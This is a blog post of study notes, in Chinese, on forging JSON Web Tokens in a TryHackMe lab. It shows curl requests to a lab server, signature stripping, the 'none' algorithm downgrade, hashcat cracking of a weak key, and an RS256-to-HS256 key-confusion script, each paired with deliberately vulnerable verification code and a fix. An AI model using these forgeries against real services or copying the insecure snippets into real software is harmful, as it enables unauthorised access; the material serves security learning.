xinyi709

Loading...

jwt伪造

这里我参考THM里面的对jwt伪造的讲解,写下了这篇笔记

jwt格式介绍

在一个请求中被用于传输JWT的常见开头是

Authorization: Bearer

jwt的结构分为三部分,Header(标头)、Payload(有效载荷)和Signature(签名)

屏幕截图 2025-05-17 224842

jwt解码

使用网站https://jwt.p2hp.com/,就可以实现对jwt的解码(cyberchef也可以)

屏幕截图 2025-05-18 174455

jwt伪造

方法一:去掉签名(保留.)

有些情况下,服务器是不验证签名部分的

比如验证代码如下

payload = jwt.decode(token, options={
'verify_signature': False})

在THM的这个练习中,向服务器发送如下指令,获得一个jwt

curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password2" }'  http://10.10.215.60/api/v1.0/example2
{
  "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.UWddiXNn-PSpe7pypTWtSRZJi1wr2M5cpr_8uWISMS4"
}

jwt解码,发现用户名是user

屏幕截图 2025-05-18 174812

我们只需要将用户名改成admin,把签名部分去掉,就能用伪造的jwt绕过验证

屏幕截图 2025-05-18 175330

屏幕截图 2025-05-18 175440

修复方法

在代码后面加上验证签名

payload = jwt.decode(token, self.secret, algorithms="HS256")

方法二:将Header的编码方式降级为None

有时候开发人员希望验证时能够接受多种签名算法,就可能写成如下的验证代码

header = jwt.get_unverified_header(token)

signature_algorithm = header['alg']

payload = jwt.decode(token, self.secret, algorithms=signature_algorithm)

它是通过读取Header部分的算法内容,进而进行验证

那我们将Header部分的算法改成None,就绕过了(这个要用cyberchef来改,因为pyjwt网站出于安全保护,不能修改算法为none)

先发送请求

curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password3" }'  http://10.10.215.60/api/v1.0/example3

得到jwt

{
  "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0._yybkWiZVAe1djUIE9CRa0wQslkRmLODBPNsjsY8FO8"
}

修改算法

屏幕截图 2025-05-18 175745

屏幕截图 2025-05-18 175957

成功绕过

屏幕截图 2025-05-18 175945

blog/3629704/202605/3629704-20260521190236430-163080688.png)

修复方法(列出来支持的算法)

payload = jwt.decode(token, self.secret, algorithms=["HS256", "HS384", "HS512"])

username = payload['username']
flag = self.db_lookup(username, "flag")

方法三:hashcat爆破key

如果在加密时使用了弱密钥,可以用hashcat来爆破

先获取jwt

curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password4" }'  http://10.10.215.60/api/v1.0/example4
{
  "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.yN1f3Rq8b26KEUYHCZbEwEk6LVzRYtbGzJMFIF8i5HY"
}

将得到的jwt保存到jwt.txt中,然后hashcat爆破

使用jwt.secrets.list字典

指令如下

hashcat -m 16500 -a 0 jwt.txt jwt.secrets.list

屏幕截图 2025-05-18 180936

得到密钥为secret

接下来,就可以用这个密钥来伪造jwt了

屏幕截图 2025-05-18 182351

成功绕过

屏幕截图 2025-05-18 182506

修复方法

在开发时选择一个比较安全的密钥值

方法四:根据公钥来伪造

如果验证代码中不允许使用None,但是允许使用其它算法

payload = jwt.decode(token, self.secret, algorithms=["HS256", "HS384", "HS512", "RS256", "RS384", "RS512"])

而且服务器会将公钥与jwt一起返回给你,那你就可以将非对称算法(RS256)降级为对称算法(HS256),然后利用公钥来伪造jwt

因为当在JWT中混合使用对称和非对称算法时,某些库会错误地将非对称算法的公钥当作对称算法的密钥使用,从而导致令牌伪造的发生

脚本如下

import jwt

public_key = "将你得到的公钥放到这里"

payload = {
    'username' : 'user',
    'admin' : 0
}

access_token = jwt.encode(payload, public_key, algorithm="HS256")
print (access_token)

这里python要提前安装Pyjwt库

pip3 install pyjwt

并且要修改Pyjwt库的algorithm.py文件,删除is_ssh_key条件(可能在第258行)

运行完脚本以后得到token,上传上去即可

屏幕截图 2025-05-18 194310

修复方法

需要用更多的逻辑来确保加密算法不会造成混淆

header = jwt.get_unverified_header(token)

algorithm = header['alg']
payload = ""

if "RS" in algorithm:
    payload = jwt.decode(token, self.public_key, algorithms=["RS256", "RS384", "RS512"])
elif "HS" in algorithm:
    payload = jwt.decode(token, self.secret, algorithms=["HS256", "HS384", "HS512"])

username = payload['username']
flag = self.db_lookup(username, "flag")
posted @ 2026-05-21 20:13  xinyi709  阅读(12)  评论(0)    收藏  举报